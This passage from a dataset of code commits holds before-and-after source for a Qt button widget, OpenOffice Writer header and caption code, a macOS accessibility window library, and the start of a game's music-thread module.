region.x(), y = region.y(), w = iconSize().width(), h = iconSize().height();\n\n\t\/\/ Ignore invalid images\n\tif (w == 0 || h == 0)\n\t\treturn;\n\n\tQPainter painter(this);\n\n\t\/\/ Calculate ratio to resize by keeping proportions\n\tif (_resizeInsteadOfCropping)\n\t{\n\t\tfloat coef = qMin(1.0f, qMin(float(region.width()) \/ float(w), float(region.height()) \/ float(h)));\n\t\tw *= coef;\n\t\th *= coef;\n\t}\n\t\/\/ Center the image\n\tx += (region.width() - w) \/ 2;\n\ty += (region.height() - h) \/ 2;\n\n\t\/\/ Draw image\n\tQIcon::Mode mode = this->isChecked() ? QIcon::Selected : QIcon::Normal;\n\tif (w > h)\n\t{\n\t\ticon().paint(&painter, x+p, y+p, w-2*p, w-2*p, Qt::AlignLeft | Qt::AlignTop, mode);\n\t\th = h-((h*2*p)\/w)+2*p-1;\n\t}\n\telse\n\t{\n\t\ticon().paint(&painter, x+p, y+p, h-2*p, h-2*p, Qt::AlignLeft | Qt::AlignTop, mode);\n\t\tw = w-((w*2*p)\/h)+2*p-1;\n\t}\n\n\t\/\/ Clip borders overflows\n\tpainter.setClipRect(x, y, w, h);\n\n\t\/\/ Draw borders\n\tif (p > 0 && _penColor.isValid())\n\t{\n\t\tQPen pen(_penColor);\n\t\tpen.setWidth(p*2);\n\t\tpainter.setPen(pen);\n\t\tpainter.drawRect(qMax(x,0), qMax(y,0), qMin(w,size().width()), qMin(h,size().height()));\n\t}\n}\n\nvoid QBouton::mousePressEvent(QMouseEvent *event)\n{\n\tif (event->button() == Qt::LeftButton)\n\t{\n\t\tif (event->modifiers() & Qt::ControlModifier)\n\t\t{\n\t\t\tthis->toggle();\n\t\t\temit this->toggled(_id, this->isChecked());\n\t\t\temit this->toggled(_id.toString(), this->isChecked());\n\t\t\temit this->toggled(_id.toInt(), this->isChecked());\n\t\t}\n\t\telse\n\t\t{\n\t\t\temit this->appui(_id);\n\t\t\temit this->appui(_id.toString());\n\t\t\temit this->appui(_id.toInt());\n\t\t}\n\t}\n\tif (event->button() == Qt::RightButton)\n\t{\n\t\temit this->rightClick(_id);\n\t\temit this->rightClick(_id.toString());\n\t\temit this->rightClick(_id.toInt());\n\t}\n\tif (event->button() == Qt::MidButton)\n\t{\n\t\temit this->middleClick(_id);\n\t\temit this->middleClick(_id.toString());\n\t\temit this->middleClick(_id.toInt());\n\t}\n\tevent->accept();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: swwrtshitem.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 10:06:33 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _SW_WRTSHELLITEM_HXX\n#define _SW_WRTSHELLITEM_HXX\n\n#ifndef _SFXPOOLITEM_HXX\n#include <svtools\/poolitem.hxx>\n#endif\n\n#ifndef INCLUDED_SWDLLAPI_H\n#include \"swdllapi.h\"\n#endif\n\nclass SwWrtShell;\nclass SvStringsDtor;\n\nclass SW_DLLPUBLIC SwWrtShellItem: public SfxPoolItem\n{\n    SwWrtShell*         pWrtSh;\n\npublic:\n                            TYPEINFO();\n                            SwWrtShellItem();\n                            SwWrtShellItem( USHORT nWhich , SwWrtShell* pWrtSh);\n                            SwWrtShellItem( const SwWrtShellItem& );\n\n\n    virtual int             operator==( const SfxPoolItem& ) const;\n    virtual SfxPoolItem*    Clone( SfxItemPool *pPool = 0 ) const;\n\n    SwWrtShell*             GetValue() const { return pWrtSh; }\n\n};\n\n#endif\n<commit_msg>INTEGRATION: CWS writercorehandoff (1.4.462); FILE MERGED 2005\/09\/13 17:47:26 tra 1.4.462.2: RESYNC: (1.4-1.5); FILE MERGED 2005\/06\/07 14:15:48 fme 1.4.462.1: #i50348# General cleanup - removed unused header files, functions, members, declarations etc.<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: swwrtshitem.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: hr $ $Date: 2006-08-14 17:45:53 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _SW_WRTSHELLITEM_HXX\n#define _SW_WRTSHELLITEM_HXX\n#ifndef _SFXPOOLITEM_HXX\n#include <svtools\/poolitem.hxx>\n#endif\n\n#ifndef INCLUDED_SWDLLAPI_H\n#include \"swdllapi.h\"\n#endif\n\nclass SwWrtShell;\n\nclass SW_DLLPUBLIC SwWrtShellItem: public SfxPoolItem\n{\n    SwWrtShell*         pWrtSh;\n\npublic:\n                            TYPEINFO();\n                            SwWrtShellItem();\n                            SwWrtShellItem( USHORT nWhich , SwWrtShell* pWrtSh);\n                            SwWrtShellItem( const SwWrtShellItem& );\n\n\n    virtual int             operator==( const SfxPoolItem& ) const;\n    virtual SfxPoolItem*    Clone( SfxItemPool *pPool = 0 ) const;\n\n    SwWrtShell*             GetValue() const { return pWrtSh; }\n\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: viewdlg2.cxx,v $\n *\n *  $Revision: 1.12 $\n *\n *  last change: $Author: hr $ $Date: 2007-09-27 12:37:37 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n\n#ifndef _SFXREQUEST_HXX \/\/autogen\n#include <sfx2\/request.hxx>\n#endif\n#ifndef _SFXVIEWFRM_HXX \/\/autogen\n#include <sfx2\/viewfrm.hxx>\n#endif\n\n\n#ifndef _FLDMGR_HXX \/\/autogen\n#include <fldmgr.hxx>\n#endif\n#ifndef _EXPFLD_HXX \/\/autogen\n#include <expfld.hxx>\n#endif\n\n#ifndef _MODOPT_HXX \/\/autogen\n#include <modcfg.hxx>\n#endif\n\n#include <tools\/shl.hxx>\n\n#include \"swmodule.hxx\"\n#include \"view.hxx\"\n#include \"wview.hxx\"\n#include \"wrtsh.hxx\"\n#include \"cmdid.h\"\n#include \"caption.hxx\"\n#include \"poolfmt.hxx\"\n#include \"edtwin.hxx\"\n#ifndef _SWSTYLENAMEMAPPER_HXX\n#include <SwStyleNameMapper.hxx>\n#endif\n\n#include \"swabstdlg.hxx\"\n#include \"frmui.hrc\"\n#include \"misc.hrc\"\n\n#include \"view.hrc\"\n\nextern String* pOldGrfCat;\nextern String* pOldTabCat;\nextern String* pOldFrmCat;\nextern String* pOldDrwCat;\n\n\/* -----------------06.11.98 13:45-------------------\n *\n * --------------------------------------------------*\/\n\nvoid SwView::ExecDlgExt(SfxRequest &rReq)\n{\n    Window *pMDI = &GetViewFrame()->GetWindow();\n\n    switch ( rReq.GetSlot() )\n    {\n        case FN_INSERT_CAPTION:\n        {\n            SwAbstractDialogFactory* pFact = SwAbstractDialogFactory::Create();\n            DBG_ASSERT(pFact, \"SwAbstractDialogFactory fail!\");\n\n            VclAbstractDialog* pDialog = pFact->CreateSwCaptionDialog( pMDI, *this, DLG_CAPTION );\n            DBG_ASSERT(pDialog, \"Dialogdiet fail!\");\n            if ( pDialog )\n            {\n                pDialog->Execute();\n                delete pDialog;\n            }\n            break;\n        }\n        case  FN_EDIT_FOOTNOTE:\n        {\n            SwAbstractDialogFactory* pFact = SwAbstractDialogFactory::Create();\n            DBG_ASSERT(pFact, \"Dialogdiet fail!\");\n            AbstractInsFootNoteDlg* pDlg = pFact->CreateInsFootNoteDlg( DLG_INS_FOOTNOTE,\n                                                        pMDI, *pWrtShell, TRUE );\n            DBG_ASSERT(pDlg, \"Dialogdiet fail!\");\n\n            pDlg->SetHelpId(FN_EDIT_FOOTNOTE);\n            pDlg->SetText( SW_RESSTR(STR_EDIT_FOOTNOTE) );\n            pDlg->Execute();\n            delete pDlg;\n            break;\n        }\n    }\n}\n\n\/* -----------------06.11.98 14:53-------------------\n *\n * --------------------------------------------------*\/\n\nvoid SwView::AutoCaption(const USHORT nType, const SvGlobalName *pOleId)\n{\n    SwModuleOptions* pModOpt = SW_MOD()->GetModuleConfig();\n\n    BOOL bWeb = 0 != PTR_CAST(SwWebView, this);\n    if (pModOpt->IsInsWithCaption(bWeb))\n    {\n        const InsCaptionOpt *pOpt = pModOpt->GetCapOption(bWeb, (SwCapObjType)nType, pOleId);\n        if (pOpt && pOpt->UseCaption() == TRUE)\n            InsertCaption(pOpt);\n    }\n}\n\n\/* -----------------06.11.98 12:58-------------------\n *\n * --------------------------------------------------*\/\n\nvoid SwView::InsertCaption(const InsCaptionOpt *pOpt)\n{\n    if (!pOpt)\n        return;\n\n    const String &rName = pOpt->GetCategory();\n\n    \/\/ Existiert Pool-Vorlage gleichen Namens?\n    SwWrtShell &rSh = GetWrtShell();\n    if(rName.Len())\n    {\n        USHORT nPoolId = SwStyleNameMapper::GetPoolIdFromUIName(rName, nsSwGetPoolIdFromName::GET_POOLID_TXTCOLL);\n        if( USHRT_MAX != nPoolId )\n            rSh.GetTxtCollFromPool(nPoolId);\n            \/\/ Pool-Vorlage existiert nicht: Existiert sie am Dokument?\n        else if( !rSh.GetParaStyle(rName) )\n        {\n            \/\/ Sie existiert auch nicht am Dokument: erzeugen\n            SwTxtFmtColl* pDerivedFrom = rSh.GetTxtCollFromPool(RES_POOLCOLL_LABEL);\n            rSh.MakeTxtFmtColl(rName, pDerivedFrom);\n        }\n    }\n\n    SelectionType eType = rSh.GetSelectionType();\n    if (eType & nsSelectionType::SEL_OLE)\n        eType = nsSelectionType::SEL_GRF;\n\n    \/\/ SwLabelType\n    const SwLabelType eT = eType & nsSelectionType::SEL_TBL ? LTYPE_TABLE :\n                      eType & nsSelectionType::SEL_FRM ? LTYPE_FLY :\n                      eType == nsSelectionType::SEL_TXT ? LTYPE_FLY :\n                      eType & nsSelectionType::SEL_DRW ? LTYPE_DRAW :\n                                                    LTYPE_OBJECT;\n\n    SwFldMgr aMgr(&rSh);\n    SwSetExpFieldType* pFldType =\n            (SwSetExpFieldType*)aMgr.GetFldType(RES_SETEXPFLD, rName);\n    if (!pFldType && rName.Len() )\n    {\n        \/\/ Neuen Feldtypen erzeugen\n        SwSetExpFieldType aSwSetExpFieldType(rSh.GetDoc(), rName, nsSwGetSetExpType::GSE_SEQ);\n        aMgr.InsertFldType(aSwSetExpFieldType);\n        pFldType = (SwSetExpFieldType*)aMgr.GetFldType(RES_SETEXPFLD, rName);\n    }\n\n    if (!pOpt->IgnoreSeqOpts())\n    {\n        if (pFldType)\n        {\n            pFldType->SetDelimiter(pOpt->GetSeparator());\n            pFldType->SetOutlineLvl( static_cast< BYTE >(pOpt->GetLevel()) );\n        }\n    }\n\n    USHORT       nID    = USHRT_MAX;\n    SwFieldType* pType  = 0;\n    const USHORT nCount = aMgr.GetFldTypeCount();\n    if( rName.Len() )\n    {\n        for (USHORT i = 0; i < nCount; ++i)\n        {\n            pType = aMgr.GetFldType(USHRT_MAX, i);\n            String aTmpName( pType->GetName() );\n            if (aTmpName == rName && pType->Which() == RES_SETEXPFLD)\n            {\n                nID = i;\n                break;\n            }\n        }\n    }\n    rSh.StartAllAction();\n\n    GetWrtShell().InsertLabel( eT,\n                                pOpt->GetCaption(),\n                                pOpt->GetSeparator(),\n                                !pOpt->GetPos(),\n                                nID,\n                                pOpt->GetCharacterStyle(),\n                                pOpt->CopyAttributes() );\n    \/\/ Nummernformat setzen\n    if(pType)\n        ((SwSetExpFieldType*)pType)->SetSeqFormat(pOpt->GetNumType());\n\n    rSh.UpdateExpFlds( TRUE );\n\n    rSh.EndAllAction();\n\n    if ( rSh.IsFrmSelected() )\n    {\n        GetEditWin().StopInsFrm();\n        rSh.EnterSelFrmMode();\n    }\n\n    \/\/ Kategorie merken\n    String** ppStr = 0;\n    if (eType & nsSelectionType::SEL_GRF)\n        ppStr = &pOldGrfCat;\n    else if( eType & nsSelectionType::SEL_TBL)\n        ppStr = &pOldTabCat;\n    else if( eType & nsSelectionType::SEL_FRM)\n        ppStr = &pOldFrmCat;\n    else if( eType == nsSelectionType::SEL_TXT)\n        ppStr = &pOldFrmCat;\n    else if( eType & nsSelectionType::SEL_DRW)\n        ppStr = &pOldDrwCat;\n\n    if( ppStr )\n    {\n        if( !*ppStr )\n            *ppStr = new String( rName );\n        else\n            **ppStr = rName;\n    }\n}\n\n\n<commit_msg>INTEGRATION: CWS os107 (1.12.76); FILE MERGED 2007\/11\/07 10:19:52 os 1.12.76.1: #i61007# caption localisable<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: viewdlg2.cxx,v $\n *\n *  $Revision: 1.13 $\n *\n *  last change: $Author: ihi $ $Date: 2007-11-21 18:24:09 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n\n\n\n#ifndef _SFXREQUEST_HXX \/\/autogen\n#include <sfx2\/request.hxx>\n#endif\n#ifndef _SFXVIEWFRM_HXX \/\/autogen\n#include <sfx2\/viewfrm.hxx>\n#endif\n\n\n#ifndef _FLDMGR_HXX \/\/autogen\n#include <fldmgr.hxx>\n#endif\n#ifndef _EXPFLD_HXX \/\/autogen\n#include <expfld.hxx>\n#endif\n\n#ifndef _MODOPT_HXX \/\/autogen\n#include <modcfg.hxx>\n#endif\n\n#include <tools\/shl.hxx>\n\n#include \"swmodule.hxx\"\n#include \"view.hxx\"\n#include \"wview.hxx\"\n#include \"wrtsh.hxx\"\n#include \"cmdid.h\"\n#include \"caption.hxx\"\n#include \"poolfmt.hxx\"\n#include \"edtwin.hxx\"\n#ifndef _SWSTYLENAMEMAPPER_HXX\n#include <SwStyleNameMapper.hxx>\n#endif\n\n#include \"swabstdlg.hxx\"\n#include \"frmui.hrc\"\n#include \"misc.hrc\"\n\n#include \"view.hrc\"\n\nextern String* pOldGrfCat;\nextern String* pOldTabCat;\nextern String* pOldFrmCat;\nextern String* pOldDrwCat;\n\n\/* -----------------06.11.98 13:45-------------------\n *\n * --------------------------------------------------*\/\n\nvoid SwView::ExecDlgExt(SfxRequest &rReq)\n{\n    Window *pMDI = &GetViewFrame()->GetWindow();\n\n    switch ( rReq.GetSlot() )\n    {\n        case FN_INSERT_CAPTION:\n        {\n            SwAbstractDialogFactory* pFact = SwAbstractDialogFactory::Create();\n            DBG_ASSERT(pFact, \"SwAbstractDialogFactory fail!\");\n\n            VclAbstractDialog* pDialog = pFact->CreateSwCaptionDialog( pMDI, *this, DLG_CAPTION );\n            DBG_ASSERT(pDialog, \"Dialogdiet fail!\");\n            if ( pDialog )\n            {\n                pDialog->Execute();\n                delete pDialog;\n            }\n            break;\n        }\n        case  FN_EDIT_FOOTNOTE:\n        {\n            SwAbstractDialogFactory* pFact = SwAbstractDialogFactory::Create();\n            DBG_ASSERT(pFact, \"Dialogdiet fail!\");\n            AbstractInsFootNoteDlg* pDlg = pFact->CreateInsFootNoteDlg( DLG_INS_FOOTNOTE,\n                                                        pMDI, *pWrtShell, TRUE );\n            DBG_ASSERT(pDlg, \"Dialogdiet fail!\");\n\n            pDlg->SetHelpId(FN_EDIT_FOOTNOTE);\n            pDlg->SetText( SW_RESSTR(STR_EDIT_FOOTNOTE) );\n            pDlg->Execute();\n            delete pDlg;\n            break;\n        }\n    }\n}\n\n\/* -----------------06.11.98 14:53-------------------\n *\n * --------------------------------------------------*\/\n\nvoid SwView::AutoCaption(const USHORT nType, const SvGlobalName *pOleId)\n{\n    SwModuleOptions* pModOpt = SW_MOD()->GetModuleConfig();\n\n    BOOL bWeb = 0 != PTR_CAST(SwWebView, this);\n    if (pModOpt->IsInsWithCaption(bWeb))\n    {\n        const InsCaptionOpt *pOpt = pModOpt->GetCapOption(bWeb, (SwCapObjType)nType, pOleId);\n        if (pOpt && pOpt->UseCaption() == TRUE)\n            InsertCaption(pOpt);\n    }\n}\n\n\/* -----------------06.11.98 12:58-------------------\n *\n * --------------------------------------------------*\/\n\nvoid SwView::InsertCaption(const InsCaptionOpt *pOpt)\n{\n    if (!pOpt)\n        return;\n\n    const String &rName = pOpt->GetCategory();\n\n    \/\/ Existiert Pool-Vorlage gleichen Namens?\n    SwWrtShell &rSh = GetWrtShell();\n    if(rName.Len())\n    {\n        USHORT nPoolId = SwStyleNameMapper::GetPoolIdFromUIName(rName, nsSwGetPoolIdFromName::GET_POOLID_TXTCOLL);\n        if( USHRT_MAX != nPoolId )\n            rSh.GetTxtCollFromPool(nPoolId);\n            \/\/ Pool-Vorlage existiert nicht: Existiert sie am Dokument?\n        else if( !rSh.GetParaStyle(rName) )\n        {\n            \/\/ Sie existiert auch nicht am Dokument: erzeugen\n            SwTxtFmtColl* pDerivedFrom = rSh.GetTxtCollFromPool(RES_POOLCOLL_LABEL);\n            rSh.MakeTxtFmtColl(rName, pDerivedFrom);\n        }\n    }\n\n    SelectionType eType = rSh.GetSelectionType();\n    if (eType & nsSelectionType::SEL_OLE)\n        eType = nsSelectionType::SEL_GRF;\n\n    \/\/ SwLabelType\n    const SwLabelType eT = eType & nsSelectionType::SEL_TBL ? LTYPE_TABLE :\n                      eType & nsSelectionType::SEL_FRM ? LTYPE_FLY :\n                      eType == nsSelectionType::SEL_TXT ? LTYPE_FLY :\n                      eType & nsSelectionType::SEL_DRW ? LTYPE_DRAW :\n                                                    LTYPE_OBJECT;\n\n    SwFldMgr aMgr(&rSh);\n    SwSetExpFieldType* pFldType =\n            (SwSetExpFieldType*)aMgr.GetFldType(RES_SETEXPFLD, rName);\n    if (!pFldType && rName.Len() )\n    {\n        \/\/ Neuen Feldtypen erzeugen\n        SwSetExpFieldType aSwSetExpFieldType(rSh.GetDoc(), rName, nsSwGetSetExpType::GSE_SEQ);\n        aMgr.InsertFldType(aSwSetExpFieldType);\n        pFldType = (SwSetExpFieldType*)aMgr.GetFldType(RES_SETEXPFLD, rName);\n    }\n\n    if (!pOpt->IgnoreSeqOpts())\n    {\n        if (pFldType)\n        {\n            pFldType->SetDelimiter(pOpt->GetSeparator());\n            pFldType->SetOutlineLvl( static_cast< BYTE >(pOpt->GetLevel()) );\n        }\n    }\n\n    USHORT       nID    = USHRT_MAX;\n    SwFieldType* pType  = 0;\n    const USHORT nCount = aMgr.GetFldTypeCount();\n    if( rName.Len() )\n    {\n        for (USHORT i = 0; i < nCount; ++i)\n        {\n            pType = aMgr.GetFldType(USHRT_MAX, i);\n            String aTmpName( pType->GetName() );\n            if (aTmpName == rName && pType->Which() == RES_SETEXPFLD)\n            {\n                nID = i;\n                break;\n            }\n        }\n    }\n    rSh.StartAllAction();\n\n    GetWrtShell().InsertLabel( eT,\n                                pOpt->GetCaption(),\n                                !pOpt->IgnoreSeqOpts() ? aEmptyStr : pOpt->GetSeparator(),\n                                pOpt->GetNumSeparator(),\n                                !pOpt->GetPos(),\n                                nID,\n                                pOpt->GetCharacterStyle(),\n                                pOpt->CopyAttributes() );\n    \/\/ Nummernformat setzen\n    if(pType)\n        ((SwSetExpFieldType*)pType)->SetSeqFormat(pOpt->GetNumType());\n\n    rSh.UpdateExpFlds( TRUE );\n\n    rSh.EndAllAction();\n\n    if ( rSh.IsFrmSelected() )\n    {\n        GetEditWin().StopInsFrm();\n        rSh.EnterSelFrmMode();\n    }\n\n    \/\/ Kategorie merken\n    String** ppStr = 0;\n    if (eType & nsSelectionType::SEL_GRF)\n        ppStr = &pOldGrfCat;\n    else if( eType & nsSelectionType::SEL_TBL)\n        ppStr = &pOldTabCat;\n    else if( eType & nsSelectionType::SEL_FRM)\n        ppStr = &pOldFrmCat;\n    else if( eType == nsSelectionType::SEL_TXT)\n        ppStr = &pOldFrmCat;\n    else if( eType & nsSelectionType::SEL_DRW)\n        ppStr = &pOldDrwCat;\n\n    if( ppStr )\n    {\n        if( !*ppStr )\n            *ppStr = new String( rName );\n        else\n            **ppStr = rName;\n    }\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"window.h\"\n#include \"element.h\"\n#include \"display.h\"\n\n#define internal static\n#define local_persist static\n\nax_window *AXLibConstructWindow(ax_application *Application, AXUIElementRef WindowRef)\n{\n    ax_window *Window = (ax_window *) malloc(sizeof(ax_window));\n    memset(Window, '\\0', sizeof(ax_window));\n\n    Window->Ref = (AXUIElementRef) CFRetain(WindowRef);\n    Window->Application = Application;\n    Window->ID = AXLibGetWindowID(Window->Ref);\n    Window->Name = AXLibGetWindowTitle(Window->Ref);\n\n    Window->Position = AXLibGetWindowPosition(Window->Ref);\n    Window->Size = AXLibGetWindowSize(Window->Ref);\n\n    if(AXLibIsWindowMovable(Window->Ref))\n        AXLibAddFlags(Window, AXWindow_Movable);\n\n    if(AXLibIsWindowResizable(Window->Ref))\n        AXLibAddFlags(Window, AXWindow_Resizable);\n\n    AXLibGetWindowRole(Window->Ref, &Window->Type.Role);\n    AXLibGetWindowSubrole(Window->Ref, &Window->Type.Subrole);\n\n    return Window;\n}\n\nbool AXLibIsWindowStandard(ax_window *Window)\n{\n    bool Result = ((CFEqual(Window->Type.Role, kAXWindowRole)) &&\n                   (CFEqual(Window->Type.Subrole, kAXStandardWindowSubrole)));\n    return Result;\n}\n\nbool AXLibIsWindowCustom(ax_window *Window)\n{\n    bool Result = ((Window->Type.CustomRole) &&\n                   ((CFEqual(Window->Type.Role, Window->Type.CustomRole)) ||\n                   (CFEqual(Window->Type.Subrole, Window->Type.CustomRole))));\n    return Result;\n}\n\nvoid AXLibDestroyWindow(ax_window *Window)\n{\n    if(Window->Ref)\n        CFRelease(Window->Ref);\n\n    if(Window->Type.Role)\n        CFRelease(Window->Type.Role);\n\n    if(Window->Type.Subrole)\n        CFRelease(Window->Type.Subrole);\n\n    if(Window->Type.CustomRole)\n        CFRelease(Window->Type.CustomRole);\n\n    Window->Ref = NULL;\n    Window->Type.Role = NULL;\n    Window->Type.Subrole = NULL;\n    Window->Application = NULL;\n    free(Window);\n}\n<commit_msg>add note regarding minimized windows<commit_after>#include \"window.h\"\n#include \"element.h\"\n#include \"display.h\"\n\n#define internal static\n#define local_persist static\n\nax_window *AXLibConstructWindow(ax_application *Application, AXUIElementRef WindowRef)\n{\n    ax_window *Window = (ax_window *) malloc(sizeof(ax_window));\n    memset(Window, '\\0', sizeof(ax_window));\n\n    Window->Ref = (AXUIElementRef) CFRetain(WindowRef);\n    Window->Application = Application;\n    \/* TODO(koekeishiya): If a window is minimized when we call this function,\n                          the WindowID returned is 0. Fix somehow (?) *\/\n    Window->ID = AXLibGetWindowID(Window->Ref);\n    Window->Name = AXLibGetWindowTitle(Window->Ref);\n\n    Window->Position = AXLibGetWindowPosition(Window->Ref);\n    Window->Size = AXLibGetWindowSize(Window->Ref);\n\n    if(AXLibIsWindowMovable(Window->Ref))\n        AXLibAddFlags(Window, AXWindow_Movable);\n\n    if(AXLibIsWindowResizable(Window->Ref))\n        AXLibAddFlags(Window, AXWindow_Resizable);\n\n    if(AXLibIsWindowMinimized(Window->Ref))\n        AXLibAddFlags(Window, AXWindow_Minimized);\n\n    AXLibGetWindowRole(Window->Ref, &Window->Type.Role);\n    AXLibGetWindowSubrole(Window->Ref, &Window->Type.Subrole);\n\n    return Window;\n}\n\nbool AXLibIsWindowStandard(ax_window *Window)\n{\n    bool Result = ((CFEqual(Window->Type.Role, kAXWindowRole)) &&\n                   (CFEqual(Window->Type.Subrole, kAXStandardWindowSubrole)));\n    return Result;\n}\n\nbool AXLibIsWindowCustom(ax_window *Window)\n{\n    bool Result = ((Window->Type.CustomRole) &&\n                   ((CFEqual(Window->Type.Role, Window->Type.CustomRole)) ||\n                   (CFEqual(Window->Type.Subrole, Window->Type.CustomRole))));\n    return Result;\n}\n\nvoid AXLibDestroyWindow(ax_window *Window)\n{\n    if(Window->Ref)\n        CFRelease(Window->Ref);\n\n    if(Window->Type.Role)\n        CFRelease(Window->Type.Role);\n\n    if(Window->Type.Subrole)\n        CFRelease(Window->Type.Subrole);\n\n    if(Window->Type.CustomRole)\n        CFRelease(Window->Type.CustomRole);\n\n    Window->Ref = NULL;\n    Window->Type.Role = NULL;\n    Window->Type.Subrole = NULL;\n    Window->Application = NULL;\n    free(Window);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"music.h\"\n#include <string>\n#include <iostream>\n#include \"globals.h\"\n#include <algorithm>\n\/\/ #include \"defs.h\"\n\n#include \"configuration.h\"\n#include \"thread.h\"\n#include \"funcs.h\"\n#include \"file-system.h\"\n#include \"music-player.h\"\n\nusing namespace std;\n\nstatic Music * instance = NULL;\n\nstatic double volume = 1.0;\n\/\/ static bool muted = false;\nstatic Util::Thread::Id musicThread;\nstatic Util::Thread::Lock musicMutex;\nstatic bool alive = true;\n\nstatic void * playMusic( void * );\n\n#define synchronized for( int __l( ! Util::Thread::acquireLock(&musicMutex)); __l; __l = 0, Util::Thread::releaseLock(&musicMutex) )\n\n#define LOCK Util::Thread::acquireLock(&musicMutex);\n#define UNLOCK Util::Thread::releaseLock(&musicMutex);\n\n\/*\n#undef LOCK\n#undef UNLOCK\n#define LOCK\n#define UNLOCK\n*\/\n\nstatic void * bogus_thread( void * x){\n\treturn NULL;\n}\n\nMusic::Music(bool on):\nplaying(false),\nenabled(on),\nfading(0),\nmusicPlayer(NULL),\ncurrentSong(\"\"){\n\n    if (instance != NULL){\n        cerr << \"Trying to instantiate music object twice!\" << endl;\n        return;\n    }\n\n    volume = (double) Configuration::getMusicVolume() \/ 100.0;\n\n    instance = this;\n\n    Util::Thread::initializeLock(&musicMutex);\n    Global::debug(1) << \"Creating music thread\" << endl;\n    if (on){\n        Util::Thread::createThread(&musicThread, NULL, (Util::Thread::ThreadFunction) playMusic, (void *)instance);\n    } else {\n        \/* FIXME: just don't create a thread at all.. *\/\n        Util::Thread::createThread(&musicThread, NULL, (Util::Thread::ThreadFunction) bogus_thread, NULL);\n    }\n}\n\n\/*\nstatic bool isAlive(){\n\tbool f = false;\n\tsynchronized{\n\t\tf = alive;\n\t}\n\treturn f;\n}\n*\/\n\nstatic void * playMusic( void * _music ){\n    Music * music = (Music *) _music;\n\n    Global::debug(1) << \"Playing music\" << endl;\n\n    \/*\n       unsigned int tick = 0;\n       unsigned int counter;\n       *\/\n\n    bool playing = true;\n    while (playing){\n        LOCK;{\n            playing = alive;\n            music->doPlay();\n        }\n        UNLOCK;\n        Util::rest(10);\n\n        \/\/ Util::YIELD();\n        \/\/ pthread_yield();\n    }\n\n    \/\/ cout << \"Done with music thread\" << endl;\n\n    return NULL;\n}\n\ndouble 